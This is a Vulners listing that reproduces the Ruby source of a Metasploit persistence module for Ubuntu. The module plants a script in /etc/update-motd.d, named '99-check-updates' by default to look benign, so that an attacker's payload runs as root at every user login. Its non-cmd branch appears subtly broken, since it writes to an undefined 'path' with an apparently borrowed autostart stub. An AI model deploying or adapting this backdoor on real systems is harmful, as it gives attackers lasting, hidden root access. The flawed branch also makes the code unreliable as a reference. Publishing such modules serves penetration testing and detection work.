Lucene search
K

update-motd.d Persistence

🗓️ 13 Sep 2025 18:55:20Reported by Julien VoisinType 
metasploit
 metasploit
🔗 www.rapid7.com👁 522 Views

Adds a script in /etc/update-motd.d to run a payload as root on login (Ubuntu 22.04).

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/motd_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'update-motd.d Persistence',
        'Description' => %q{
          This module will add a script in /etc/update-motd.d/ in order to persist a payload.
          The payload will be executed with root privileges everytime a user logs in.
          Root privileges are likely required to write to /etc/update-motd.d/.
          Verified on Ubuntu 22.04
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Julien Voisin' ],
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'Payload' => {
          'BadChars' => '#%\n"'
        },
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [ ['Automatic', {}] ],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'DisclosureDate' => '1999-01-01',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        },
        'References' => [
          ['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
        ]
      )
    )
    register_options([
      OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']),
      OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
    ])
  end

  def check
    return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/'
    return CheckCode::Safe('/etc/update-motd.d/ is not writable') unless writable? '/etc/update-motd.d/'

    print_warning("#{datastore['BACKDOOR_NAME']} already exists") if exists? "/etc/update-motd.d/#{datastore['BACKDOOR_NAME']}"

    CheckCode::Appears('/etc/update-motd.d/ is writable')
  end

  def install_persistence
    update_path = '/etc/update-motd.d/'

    backdoor_path = "#{update_path}/#{datastore['BACKDOOR_NAME']}"

    if exists? backdoor_path
      fail_with Failure::BadConfig, "#{backdoor_path} is already present"
    end

    if payload.arch.first == 'cmd'
      write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
    else
      backdoor_path = writable_dir
      backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
      backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
      backdoor_path << backdoor_name
      print_status("Uploading payload file to #{backdoor_path}")
      upload_and_chmodx backdoor_path, generate_payload_exe
      write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n"))
      @clean_up_rc << "rm #{backdoor_path}\n"
    end

    write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
    @clean_up_rc << "rm #{backdoor_path}\n"
    chmod(backdoor_path, 0o755)
    print_status "#{backdoor_path} written"
    print_good('Payload will be triggered at user login')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Jun 2026 19:05Current
5.8Medium risk
Vulners AI Score5.8
522